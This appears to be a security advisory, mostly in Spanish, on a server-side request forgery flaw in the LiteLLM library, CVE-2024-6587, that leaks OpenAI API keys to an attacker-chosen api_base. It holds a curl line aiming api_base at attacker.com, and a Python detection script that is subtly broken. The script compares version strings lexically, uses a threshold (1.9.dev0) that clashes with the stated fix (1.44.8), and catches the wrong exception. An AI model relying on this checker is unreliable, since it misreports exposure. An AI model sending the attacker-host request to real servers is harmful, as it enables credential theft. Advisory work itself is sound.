Vulnerabilidad de Falsificación de Solicitud del Lado del Servidor (SSRF) en LiteLLM

La explotación exitosa de esta vulnerabilidad SSRF permite a un atacante interceptar la clave API de OpenAI. Al especificar un api_base malicioso, el servidor enviará solicitudes a un dominio controlado por el atacante, incluyendo la clave API. Esto podría resultar en el acceso no autorizado a los recursos de OpenAI, el uso indebido de la API, y potencialmente, el robo de datos sensibles asociados a la cuenta de OpenAI. El impacto se amplifica si la clave API tiene permisos amplios o acceso a información confidencial. Esta vulnerabilidad es similar a otros ataques SSRF donde la manipulación de URLs puede llevar a la exposición de información sensible o el acceso a recursos internos.

Applications utilizing the berriai/litellm library, particularly those integrated with OpenAI services, are at risk. Environments where the api_base parameter is not properly validated or sanitized are especially vulnerable. Shared hosting environments where multiple users might interact with the litellm application are also at increased risk.

• python / library:

import os
import subprocess

def check_litellm_version():
    try:
        result = subprocess.check_output(['pip', 'show', 'litellm'], stderr=subprocess.STDOUT, text=True)
        version_line = [line for line in result.splitlines() if 'Version:' in line]
        if version_line:
            version = version_line[0].split(': ')[1].strip()
            if version <= '1.9.dev0':
                print(f"[!] litellm version {version} is vulnerable to CVE-2024-6587. Upgrade to 1.44.8 or later.")
            else:
                print("[+] litellm version is not vulnerable.")
        else:
            print("[!] Could not determine litellm version.")
    except FileNotFoundError:
        print("[!] litellm is not installed.")

check_litellm_version()

• generic web:

curl -I 'http://your-litellm-app/chat/completions?api_base=http://attacker.com' | grep api_base

1. 2024-09-13Disclosure

   disclosure

2. 2024-09-13Patch

   patch

1. Reservado2024-07-08
2. Publicada2024-09-13
3. EPSS actualizado2026-04-02

La mitigación principal es actualizar a la versión 1.44.8 de litellm, que incluye la corrección para esta vulnerabilidad. Si la actualización no es inmediatamente posible, se recomienda implementar medidas de seguridad adicionales. Restrinja el acceso al endpoint /chat/completions a fuentes confiables. Implemente validación y saneamiento riguroso del parámetro apibase para evitar la inyección de URLs maliciosas. Considere el uso de un Web Application Firewall (WAF) para filtrar solicitudes sospechosas. Monitoree los logs del servidor en busca de patrones inusuales de solicitudes que involucren el parámetro apibase.